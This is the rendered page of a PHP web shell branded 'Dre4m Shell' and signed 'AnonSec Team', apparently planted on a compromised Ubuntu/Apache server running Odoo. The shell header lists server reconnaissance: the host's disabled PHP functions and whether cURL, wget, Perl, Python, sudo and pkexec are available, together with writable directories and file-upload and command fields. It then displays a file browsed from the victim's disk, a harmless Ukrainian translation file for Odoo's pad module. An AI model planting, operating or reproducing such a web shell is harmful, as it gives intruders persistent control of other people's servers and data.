Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.141.47.84
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/pad/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/pad/i18n/uk.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * pad
# 
# Translators:
# ТАрас <tratatuta@i.ua>, 2016
# Bohdan Lisnenko <lem8r.ka11a@gmail.com>, 2016
# Аліна Семенюк <alinasemeniuk1@gmail.com>, 2017
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0c\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-09-07 08:57+0000\n"
"PO-Revision-Date: 2016-09-07 08:57+0000\n"
"Last-Translator: Аліна Семенюк <alinasemeniuk1@gmail.com>, 2017\n"
"Language-Team: Ukrainian (https://www.transifex.com/odoo/teams/41243/uk/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Language: uk\n"
"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"

#. module: pad
#: model:ir.model,name:pad.model_res_company
msgid "Companies"
msgstr "Компанії"

#. module: pad
#: model:ir.model.fields,field_description:pad.field_pad_common_display_name
msgid "Display Name"
msgstr "Назва для відображення"

#. module: pad
#: model:ir.model.fields,help:pad.field_base_config_settings_pad_key
#: model:ir.model.fields,help:pad.field_res_company_pad_key
msgid "Etherpad lite api key."
msgstr "Etherpad lite api key."

#. module: pad
#: model:ir.model.fields,help:pad.field_base_config_settings_pad_server
#: model:ir.model.fields,help:pad.field_res_company_pad_server
msgid "Etherpad lite server. Example: beta.primarypad.com"
msgstr "Etherpad lite server. Наприклад: beta.primarypad.com"

#. module: pad
#: model:ir.model.fields,field_description:pad.field_pad_common_id
msgid "ID"
msgstr "ІД"

#. module: pad
#: model:ir.model.fields,field_description:pad.field_pad_common___last_update
msgid "Last Modified on"
msgstr "Остання модифікація"

#. module: pad
#: model:ir.model.fields,field_description:pad.field_res_company_pad_key
msgid "Pad Api Key"
msgstr "Ключ Api панелі"

#. module: pad
#: model:ir.model.fields,field_description:pad.field_base_config_settings_pad_key
msgid "Pad Api Key *"
msgstr "Ключ Api панелі *"

#. module: pad
#: model:ir.model.fields,field_description:pad.field_base_config_settings_pad_server
msgid "Pad Server *"
msgstr "Сервер панелі *"

#. module: pad
#: code:addons/pad/models/pad.py:57
#, python-format
msgid ""
"Pad creation failed, either there is a problem with your pad server URL or "
"with your connection."
msgstr ""
"Створення Pad не відбулося, або є проблема з URL-адресою вашого сервера або "
"на вашому підключенні."

#. module: pad
#: model:ir.model.fields,field_description:pad.field_res_company_pad_server
msgid "Pad server"
msgstr "Сервер панелі"

#. module: pad
#: model:ir.ui.view,arch_db:pad.view_general_configuration_form_inherit_pad
msgid "Pads"
msgstr "Панелі"

#. module: pad
#. openerp-web
#: code:addons/pad/static/src/xml/pad.xml:6
#, python-format
msgid ""
"Please enter your Etherpad credentials through the menu 'Settings > General "
"Settings > Configure your company data', in the 'Configuration' tab of your "
"company."
msgstr ""
"Будь даска, введіть ваше повноваження Etherpad в меню 'Налаштування > "
"Загальні налаштування > Налаштування даних вашої компанії', у 'Налаштування'"
" tab вашої компанії."

#. module: pad
#. openerp-web
#: code:addons/pad/static/src/js/pad.js:53
#, python-format
msgid "This pad will be initialized on first edit"
msgstr "Ця панель буде ініціалізована при першому редагуванні"

#. module: pad
#. openerp-web
#: code:addons/pad/static/src/js/pad.js:50
#, python-format
msgid "Unable to load pad"
msgstr "Не вдається завантажити панель"

#. module: pad
#: model:ir.model,name:pad.model_base_config_settings
msgid "base.config.settings"
msgstr "base.config.settings"

#. module: pad
#: model:ir.ui.view,arch_db:pad.view_general_configuration_form_inherit_pad
msgid "e.g. beta.primarypad.com"
msgstr "e.g. beta.primarypad.com"

#. module: pad
#: model:ir.model,name:pad.model_pad_common
msgid "pad.common"
msgstr "pad.common"

Anon7 - 2022
AnonSec Team